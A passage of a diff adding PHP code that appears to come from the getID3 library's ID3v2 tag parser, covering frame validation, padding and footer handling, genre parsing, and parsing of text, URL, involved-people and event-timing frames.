+							// next frame is OK
+						} elseif (($frame_name == "\x00".'MP3') || ($frame_name == "\x00\x00".'MP') || ($frame_name == ' MP3') || ($frame_name == 'MP3e')) {
+							// MP3ext known broken frames - "ok" for the purposes of this test
+						} elseif (($id3v2_majorversion == 4) && ($this->IsValidID3v2FrameName(substr($framedata, getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0), 4), 3))) {
+							$this->warning('ID3v2 tag written as ID3v2.4, but with non-synchsafe integers (ID3v2.3 style). Older versions of (Helium2; iTunes) are known culprits of this. Tag has been parsed as ID3v2.3');
+							$id3v2_majorversion = 3;
+							$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer
+						}
+					}
+
+
+					$frame_flags = getid3_lib::BigEndian2Int(substr($frame_header, 8, 2));
+				}
+
+				if ((($id3v2_majorversion == 2) && ($frame_name == "\x00\x00\x00")) || ($frame_name == "\x00\x00\x00\x00")) {
+					// padding encountered
+
+					$thisfile_id3v2['padding']['start']  = $framedataoffset;
+					$thisfile_id3v2['padding']['length'] = strlen($frame_header) + strlen($framedata);
+					$thisfile_id3v2['padding']['valid']  = true;
+
+					$len = strlen($framedata);
+					for ($i = 0; $i < $len; $i++) {
+						if ($framedata{$i} != "\x00") {
+							$thisfile_id3v2['padding']['valid'] = false;
+							$thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i;
+							$this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)');
+							break;
+						}
+					}
+					break; // skip rest of ID3v2 header
+				}
+
+				if ($iTunesBrokenFrameNameFixed = self::ID3v22iTunesBrokenFrameName($frame_name)) {
+					$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by iTunes (versions "X v2.0.3", "v3.0.1", "v7.0.0.70" are known-guilty, probably others too)]. Translated frame name from "'.str_replace("\x00", ' ', $frame_name).'" to "'.$iTunesBrokenFrameNameFixed.'" for parsing.');
+					$frame_name = $iTunesBrokenFrameNameFixed;
+				}
+				if (($frame_size <= strlen($framedata)) && ($this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion))) {
+
+					unset($parsedFrame);
+					$parsedFrame['frame_name']      = $frame_name;
+					$parsedFrame['frame_flags_raw'] = $frame_flags;
+					$parsedFrame['data']            = substr($framedata, 0, $frame_size);
+					$parsedFrame['datalength']      = getid3_lib::CastAsInt($frame_size);
+					$parsedFrame['dataoffset']      = $framedataoffset;
+
+					$this->ParseID3v2Frame($parsedFrame);
+					$thisfile_id3v2[$frame_name][] = $parsedFrame;
+
+					$framedata = substr($framedata, $frame_size);
+
+				} else { // invalid frame length or FrameID
+
+					if ($frame_size <= strlen($framedata)) {
+
+						if ($this->IsValidID3v2FrameName(substr($framedata, $frame_size, 4), $id3v2_majorversion)) {
+
+							// next frame is valid, just skip the current frame
+							$framedata = substr($framedata, $frame_size);
+							$this->warning('Next ID3v2 frame is valid, skipping current frame.');
+
+						} else {
+
+							// next frame is invalid too, abort processing
+							//unset($framedata);
+							$framedata = null;
+							$this->error('Next ID3v2 frame is also invalid, aborting processing.');
+
+						}
+
+					} elseif ($frame_size == strlen($framedata)) {
+
+						// this is the last frame, just skip
+						$this->warning('This was the last ID3v2 frame.');
+
+					} else {
+
+						// next frame is invalid too, abort processing
+						//unset($framedata);
+						$framedata = null;
+						$this->warning('Invalid ID3v2 frame size, aborting.');
+
+					}
+					if (!$this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion)) {
+
+						switch ($frame_name) {
+							case "\x00\x00".'MP':
+							case "\x00".'MP3':
+							case ' MP3':
+							case 'MP3e':
+							case "\x00".'MP':
+							case ' MP':
+							case 'MP3':
+								$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by "MP3ext (www.mutschler.de/mp3ext/)"]');
+								break;
+
+							default:
+								$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))).');
+								break;
+						}
+
+					} elseif (!isset($framedata) || ($frame_size > strlen($framedata))) {
+
+						$this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: $frame_size ('.$frame_size.') > strlen($framedata) ('.(isset($framedata) ? strlen($framedata) : 'null').')).');
+
+					} else {
+
+						$this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag).');
+
+					}
+
+				}
+				$framedataoffset += ($frame_size + $this->ID3v2HeaderLength($id3v2_majorversion));
+
+			}
+
+		}
+
+
+	//    Footer
+
+	//    The footer is a copy of the header, but with a different identifier.
+	//        ID3v2 identifier           "3DI"
+	//        ID3v2 version              $04 00
+	//        ID3v2 flags                %abcd0000
+	//        ID3v2 size             4 * %0xxxxxxx
+
+		if (isset($thisfile_id3v2_flags['isfooter']) && $thisfile_id3v2_flags['isfooter']) {
+			$footer = $this->fread(10);
+			if (substr($footer, 0, 3) == '3DI') {
+				$thisfile_id3v2['footer'] = true;
+				$thisfile_id3v2['majorversion_footer'] = ord($footer{3});
+				$thisfile_id3v2['minorversion_footer'] = ord($footer{4});
+			}
+			if ($thisfile_id3v2['majorversion_footer'] <= 4) {
+				$id3_flags = ord(substr($footer{5}));
+				$thisfile_id3v2_flags['unsynch_footer']  = (bool) ($id3_flags & 0x80);
+				$thisfile_id3v2_flags['extfoot_footer']  = (bool) ($id3_flags & 0x40);
+				$thisfile_id3v2_flags['experim_footer']  = (bool) ($id3_flags & 0x20);
+				$thisfile_id3v2_flags['isfooter_footer'] = (bool) ($id3_flags & 0x10);
+
+				$thisfile_id3v2['footerlength'] = getid3_lib::BigEndian2Int(substr($footer, 6, 4), 1);
+			}
+		} // end footer
+
+		if (isset($thisfile_id3v2['comments']['genre'])) {
+			$genres = array();
+			foreach ($thisfile_id3v2['comments']['genre'] as $key => $value) {
+				foreach ($this->ParseID3v2GenreString($value) as $genre) {
+					$genres[] = $genre;
+				}
+			}
+			$thisfile_id3v2['comments']['genre'] = array_unique($genres);
+			unset($key, $value, $genres, $genre);
+		}
+
+		if (isset($thisfile_id3v2['comments']['track'])) {
+			foreach ($thisfile_id3v2['comments']['track'] as $key => $value) {
+				if (strstr($value, '/')) {
+					list($thisfile_id3v2['comments']['tracknum'][$key], $thisfile_id3v2['comments']['totaltracks'][$key]) = explode('/', $thisfile_id3v2['comments']['track'][$key]);
+				}
+			}
+		}
+
+		if (!isset($thisfile_id3v2['comments']['year']) && !empty($thisfile_id3v2['comments']['recording_time'][0]) && preg_match('#^([0-9]{4})#', trim($thisfile_id3v2['comments']['recording_time'][0]), $matches)) {
+			$thisfile_id3v2['comments']['year'] = array($matches[1]);
+		}
+
+
+		if (!empty($thisfile_id3v2['TXXX'])) {
+			// MediaMonkey does this, maybe others: write a blank RGAD frame, but put replay-gain adjustment values in TXXX frames
+			foreach ($thisfile_id3v2['TXXX'] as $txxx_array) {
+				switch ($txxx_array['description']) {
+					case 'replaygain_track_gain':
+						if (empty($info['replay_gain']['track']['adjustment']) && !empty($txxx_array['data'])) {
+							$info['replay_gain']['track']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data'])));
+						}
+						break;
+					case 'replaygain_track_peak':
+						if (empty($info['replay_gain']['track']['peak']) && !empty($txxx_array['data'])) {
+							$info['replay_gain']['track']['peak'] = floatval($txxx_array['data']);
+						}
+						break;
+					case 'replaygain_album_gain':
+						if (empty($info['replay_gain']['album']['adjustment']) && !empty($txxx_array['data'])) {
+							$info['replay_gain']['album']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data'])));
+						}
+						break;
+				}
+			}
+		}
+
+
+		// Set avdataoffset
+		$info['avdataoffset'] = $thisfile_id3v2['headerlength'];
+		if (isset($thisfile_id3v2['footer'])) {
+			$info['avdataoffset'] += 10;
+		}
+
+		return true;
+	}
+
+
+	public function ParseID3v2GenreString($genrestring) {
+		// Parse genres into arrays of genreName and genreID
+		// ID3v2.2.x, ID3v2.3.x: '(21)' or '(4)Eurodisco' or '(51)(39)' or '(55)((I think...)'
+		// ID3v2.4.x: '21' $00 'Eurodisco' $00
+		$clean_genres = array();
+
+		// hack-fixes for some badly-written ID3v2.3 taggers, while trying not to break correctly-written tags
+		if (($this->getid3->info['id3v2']['majorversion'] == 3) && !preg_match('#[\x00]#', $genrestring)) {
+			// note: MusicBrainz Picard incorrectly stores plaintext genres separated by "/" when writing in ID3v2.3 mode, hack-fix here:
+			// replace / with NULL, then replace back the two ID3v1 genres that legitimately have "/" as part of the single genre name
+			if (preg_match('#/#', $genrestring)) {
+				$genrestring = str_replace('/', "\x00", $genrestring);
+				$genrestring = str_replace('Pop'."\x00".'Funk', 'Pop/Funk', $genrestring);
+				$genrestring = str_replace('Rock'."\x00".'Rock', 'Folk/Rock', $genrestring);
+			}
+
+			// some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal"
+			if (preg_match('#;#', $genrestring)) {
+				$genrestring = str_replace(';', "\x00", $genrestring);
+			}
+		}
+
+
+		if (strpos($genrestring, "\x00") === false) {
+			$genrestring = preg_replace('#\(([0-9]{1,3})\)#', '$1'."\x00", $genrestring);
+		}
+
+		$genre_elements = explode("\x00", $genrestring);
+		foreach ($genre_elements as $element) {
+			$element = trim($element);
+			if ($element) {
+				if (preg_match('#^[0-9]{1,3}#', $element)) {
+					$clean_genres[] = getid3_id3v1::LookupGenreName($element);
+				} else {
+					$clean_genres[] = str_replace('((', '(', $element);
+				}
+			}
+		}
+		return $clean_genres;
+	}
+
+
+	public function ParseID3v2Frame(&$parsedFrame) {
+
+		// shortcuts
+		$info = &$this->getid3->info;
+		$id3v2_majorversion = $info['id3v2']['majorversion'];
+
+		$parsedFrame['framenamelong']  = $this->FrameNameLongLookup($parsedFrame['frame_name']);
+		if (empty($parsedFrame['framenamelong'])) {
+			unset($parsedFrame['framenamelong']);
+		}
+		$parsedFrame['framenameshort'] = $this->FrameNameShortLookup($parsedFrame['frame_name']);
+		if (empty($parsedFrame['framenameshort'])) {
+			unset($parsedFrame['framenameshort']);
+		}
+
+		if ($id3v2_majorversion >= 3) { // frame flags are not part of the ID3v2.2 standard
+			if ($id3v2_majorversion == 3) {
+				//    Frame Header Flags
+				//    %abc00000 %ijk00000
+				$parsedFrame['flags']['TagAlterPreservation']  = (bool) ($parsedFrame['frame_flags_raw'] & 0x8000); // a - Tag alter preservation
+				$parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // b - File alter preservation
+				$parsedFrame['flags']['ReadOnly']              = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // c - Read only
+				$parsedFrame['flags']['compression']           = (bool) ($parsedFrame['frame_flags_raw'] & 0x0080); // i - Compression
+				$parsedFrame['flags']['Encryption']            = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // j - Encryption
+				$parsedFrame['flags']['GroupingIdentity']      = (bool) ($parsedFrame['frame_flags_raw'] & 0x0020); // k - Grouping identity
+
+			} elseif ($id3v2_majorversion == 4) {
+				//    Frame Header Flags
+				//    %0abc0000 %0h00kmnp
+				$parsedFrame['flags']['TagAlterPreservation']  = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // a - Tag alter preservation
+				$parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // b - File alter preservation
+				$parsedFrame['flags']['ReadOnly']              = (bool) ($parsedFrame['frame_flags_raw'] & 0x1000); // c - Read only
+				$parsedFrame['flags']['GroupingIdentity']      = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // h - Grouping identity
+				$parsedFrame['flags']['compression']           = (bool) ($parsedFrame['frame_flags_raw'] & 0x0008); // k - Compression
+				$parsedFrame['flags']['Encryption']            = (bool) ($parsedFrame['frame_flags_raw'] & 0x0004); // m - Encryption
+				$parsedFrame['flags']['Unsynchronisation']     = (bool) ($parsedFrame['frame_flags_raw'] & 0x0002); // n - Unsynchronisation
+				$parsedFrame['flags']['DataLengthIndicator']   = (bool) ($parsedFrame['frame_flags_raw'] & 0x0001); // p - Data length indicator
+
+				// Frame-level de-unsynchronisation - ID3v2.4
+				if ($parsedFrame['flags']['Unsynchronisation']) {
+					$parsedFrame['data'] = $this->DeUnsynchronise($parsedFrame['data']);
+				}
+
+				if ($parsedFrame['flags']['DataLengthIndicator']) {
+					$parsedFrame['data_length_indicator'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4), 1);
+					$parsedFrame['data']                  =                           substr($parsedFrame['data'], 4);
+				}
+			}
+
+			//    Frame-level de-compression
+			if ($parsedFrame['flags']['compression']) {
+				$parsedFrame['decompressed_size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4));
+				if (!function_exists('gzuncompress')) {
+					$this->warning('gzuncompress() support required to decompress ID3v2 frame "'.$parsedFrame['frame_name'].'"');
+				} else {
+					if ($decompresseddata = @gzuncompress(substr($parsedFrame['data'], 4))) {
+					//if ($decompresseddata = @gzuncompress($parsedFrame['data'])) {
+						$parsedFrame['data'] = $decompresseddata;
+						unset($decompresseddata);
+					} else {
+						$this->warning('gzuncompress() failed on compressed contents of ID3v2 frame "'.$parsedFrame['frame_name'].'"');
+					}
+				}
+			}
+		}
+
+		if (!empty($parsedFrame['flags']['DataLengthIndicator'])) {
+			if ($parsedFrame['data_length_indicator'] != strlen($parsedFrame['data'])) {
+				$this->warning('ID3v2 frame "'.$parsedFrame['frame_name'].'" should be '.$parsedFrame['data_length_indicator'].' bytes long according to DataLengthIndicator, but found '.strlen($parsedFrame['data']).' bytes of data');
+			}
+		}
+
+		if (isset($parsedFrame['datalength']) && ($parsedFrame['datalength'] == 0)) {
+
+			$warning = 'Frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset'].' has no data portion';
+			switch ($parsedFrame['frame_name']) {
+				case 'WCOM':
+					$warning .= ' (this is known to happen with files tagged by RioPort)';
+					break;
+
+				default:
+					break;
+			}
+			$this->warning($warning);
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'UFID')) || // 4.1   UFID Unique file identifier
+			(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'UFI'))) {  // 4.1   UFI  Unique file identifier
+			//   There may be more than one 'UFID' frame in a tag,
+			//   but only one with the same 'Owner identifier'.
+			// <Header for 'Unique file identifier', ID: 'UFID'>
+			// Owner identifier        <text string> $00
+			// Identifier              <up to 64 bytes binary data>
+			$exploded = explode("\x00", $parsedFrame['data'], 2);
+			$parsedFrame['ownerid'] = (isset($exploded[0]) ? $exploded[0] : '');
+			$parsedFrame['data']    = (isset($exploded[1]) ? $exploded[1] : '');
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'TXXX')) || // 4.2.2 TXXX User defined text information frame
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'TXX'))) {    // 4.2.2 TXX  User defined text information frame
+			//   There may be more than one 'TXXX' frame in each tag,
+			//   but only one with the same description.
+			// <Header for 'User defined text information frame', ID: 'TXXX'>
+			// Text encoding     $xx
+			// Description       <text string according to encoding> $00 (00)
+			// Value             <text string according to encoding>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
+				$frame_textencoding_terminator = "\x00";
+			}
+			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
+				// if description only contains a BOM or terminator then make it blank
+				$frame_description = '';
+			}
+			$parsedFrame['encodingid']  = $frame_textencoding;
+			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['description'] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $frame_description));
+			$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
+			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+				$commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0));
+				if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) {
+					$info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']));
+				} else {
+					$info['id3v2']['comments'][$parsedFrame['framenameshort']][]            = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']));
+				}
+			}
+			//unset($parsedFrame['data']); do not unset, may be needed elsewhere, e.g. for replaygain
+
+
+		} elseif ($parsedFrame['frame_name']{0} == 'T') { // 4.2. T??[?] Text information frame
+			//   There may only be one text information frame of its kind in an tag.
+			// <Header for 'Text information frame', ID: 'T000' - 'TZZZ',
+			// excluding 'TXXX' described in 4.2.6.>
+			// Text encoding                $xx
+			// Information                  <text string(s) according to encoding>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
+			}
+
+			$parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset);
+
+			$parsedFrame['encodingid'] = $frame_textencoding;
+			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($frame_textencoding);
+
+			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+				// ID3v2.3 specs say that TPE1 (and others) can contain multiple artist values separated with /
+				// This of course breaks when an artist name contains slash character, e.g. "AC/DC"
+				// MP3tag (maybe others) implement alternative system where multiple artists are null-separated, which makes more sense
+				// getID3 will split null-separated artists into multiple artists and leave slash-separated ones to the user
+				switch ($parsedFrame['encoding']) {
+					case 'UTF-16':
+					case 'UTF-16BE':
+					case 'UTF-16LE':
+						$wordsize = 2;
+						break;
+					case 'ISO-8859-1':
+					case 'UTF-8':
+					default:
+						$wordsize = 1;
+						break;
+				}
+				$Txxx_elements = array();
+				$Txxx_elements_start_offset = 0;
+				for ($i = 0; $i < strlen($parsedFrame['data']); $i += $wordsize) {
+					if (substr($parsedFrame['data'], $i, $wordsize) == str_repeat("\x00", $wordsize)) {
+						$Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset);
+						$Txxx_elements_start_offset = $i + $wordsize;
+					}
+				}
+				$Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset);
+				foreach ($Txxx_elements as $Txxx_element) {
+					$string = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $Txxx_element);
+					if (!empty($string)) {
+						$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $string;
+					}
+				}
+				unset($string, $wordsize, $i, $Txxx_elements, $Txxx_element, $Txxx_elements_start_offset);
+			}
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'WXXX')) || // 4.3.2 WXXX User defined URL link frame
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'WXX'))) {    // 4.3.2 WXX  User defined URL link frame
+			//   There may be more than one 'WXXX' frame in each tag,
+			//   but only one with the same description
+			// <Header for 'User defined URL link frame', ID: 'WXXX'>
+			// Text encoding     $xx
+			// Description       <text string according to encoding> $00 (00)
+			// URL               <text string>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
+				$frame_textencoding_terminator = "\x00";
+			}
+			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
+				// if description only contains a BOM or terminator then make it blank
+				$frame_description = '';
+			}
+			$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			if ($frame_terminatorpos) {
+				// there are null bytes after the data - this is not according to spec
+				// only use data up to first null byte
+				$frame_urldata = (string) substr($parsedFrame['data'], 0, $frame_terminatorpos);
+			} else {
+				// no null bytes following data, just use all data
+				$frame_urldata = (string) $parsedFrame['data'];
+			}
+
+			$parsedFrame['encodingid']  = $frame_textencoding;
+			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['url']         = $frame_urldata;
+			$parsedFrame['description'] = $frame_description;
+			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['url']);
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ($parsedFrame['frame_name']{0} == 'W') { // 4.3. W??? URL link frames
+			//   There may only be one URL link frame of its kind in a tag,
+			//   except when stated otherwise in the frame description
+			// <Header for 'URL link frame', ID: 'W000' - 'WZZZ', excluding 'WXXX'
+			// described in 4.3.2.>
+			// URL              <text string>
+
+			$parsedFrame['url'] = trim($parsedFrame['data']);
+			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['url'];
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'IPLS')) || // 4.4  IPLS Involved people list (ID3v2.3 only)
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'IPL'))) {     // 4.4  IPL  Involved people list (ID3v2.2 only)
+			// http://id3.org/id3v2.3.0#sec4.4
+			//   There may only be one 'IPL' frame in each tag
+			// <Header for 'User defined URL link frame', ID: 'IPL'>
+			// Text encoding     $xx
+			// People list strings    <textstrings>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
+			}
+			$parsedFrame['encodingid'] = $frame_textencoding;
+			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($parsedFrame['encodingid']);
+			$parsedFrame['data_raw']   = (string) substr($parsedFrame['data'], $frame_offset);
+
+			// http://www.getid3.org/phpBB3/viewtopic.php?t=1369
+			// "this tag typically contains null terminated strings, which are associated in pairs"
+			// "there are users that use the tag incorrectly"
+			$IPLS_parts = array();
+			if (strpos($parsedFrame['data_raw'], "\x00") !== false) {
+				$IPLS_parts_unsorted = array();
+				if (((strlen($parsedFrame['data_raw']) % 2) == 0) && ((substr($parsedFrame['data_raw'], 0, 2) == "\xFF\xFE") || (substr($parsedFrame['data_raw'], 0, 2) == "\xFE\xFF"))) {
+					// UTF-16, be careful looking for null bytes since most 2-byte characters may contain one; you need to find twin null bytes, and on even padding
+					$thisILPS  = '';
+					for ($i = 0; $i < strlen($parsedFrame['data_raw']); $i += 2) {
+						$twobytes = substr($parsedFrame['data_raw'], $i, 2);
+						if ($twobytes === "\x00\x00") {
+							$IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS);
+							$thisILPS  = '';
+						} else {
+							$thisILPS .= $twobytes;
+						}
+					}
+					if (strlen($thisILPS) > 2) { // 2-byte BOM
+						$IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS);
+					}
+				} else {
+					// ISO-8859-1 or UTF-8 or other single-byte-null character set
+					$IPLS_parts_unsorted = explode("\x00", $parsedFrame['data_raw']);
+				}
+				if (count($IPLS_parts_unsorted) == 1) {
+					// just a list of names, e.g. "Dino Baptiste, Jimmy Copley, John Gordon, Bernie Marsden, Sharon Watson"
+					foreach ($IPLS_parts_unsorted as $key => $value) {
+						$IPLS_parts_sorted = preg_split('#[;,\\r\\n\\t]#', $value);
+						$position = '';
+						foreach ($IPLS_parts_sorted as $person) {
+							$IPLS_parts[] = array('position'=>$position, 'person'=>$person);
+						}
+					}
+				} elseif ((count($IPLS_parts_unsorted) % 2) == 0) {
+					$position = '';
+					$person   = '';
+					foreach ($IPLS_parts_unsorted as $key => $value) {
+						if (($key % 2) == 0) {
+							$position = $value;
+						} else {
+							$person   = $value;
+							$IPLS_parts[] = array('position'=>$position, 'person'=>$person);
+							$position = '';
+							$person   = '';
+						}
+					}
+				} else {
+					foreach ($IPLS_parts_unsorted as $key => $value) {
+						$IPLS_parts[] = array($value);
+					}
+				}
+
+			} else {
+				$IPLS_parts = preg_split('#[;,\\r\\n\\t]#', $parsedFrame['data_raw']);
+			}
+			$parsedFrame['data'] = $IPLS_parts;
+
+			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data'];
+			}
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MCDI')) || // 4.4   MCDI Music CD identifier
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MCI'))) {     // 4.5   MCI  Music CD identifier
+			//   There may only be one 'MCDI' frame in each tag
+			// <Header for 'Music CD identifier', ID: 'MCDI'>
+			// CD TOC                <binary data>
+
+			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data'];
+			}
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ETCO')) || // 4.5   ETCO Event timing codes
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ETC'))) {     // 4.6   ETC  Event timing codes
+			//   There may only be one 'ETCO' frame in each tag
+			// <Header for 'Event timing codes', ID: 'ETCO'>
+			// Time stamp format    $xx
+			//   Where time stamp format is:
+			// $01  (32-bit value) MPEG frames from beginning of file
+			// $02  (32-bit value) milliseconds from beginning of file
+			//   Followed by a list of key events in the following format:
+			// Type of event   $xx
+			// Time stamp      $xx (xx ...)
+			//   The 'Time stamp' is set to zero if directly at the beginning of the sound
+			//   or after the previous event. All events MUST be sorted in chronological order.
+
+			$frame_offset = 0;
+			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+
+			while ($frame_offset < strlen($parsedFrame['data'])) {
+				$parsedFrame['typeid']    = substr($parsedFrame['data'], $frame_offset++, 1);
+				$parsedFrame['type']      = $this->ETCOEventLookup($parsedFrame['typeid']);
+				$parsedFrame['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+				$frame_offset += 4;
+			}
+			unset($parsedFrame['data']);
+
+
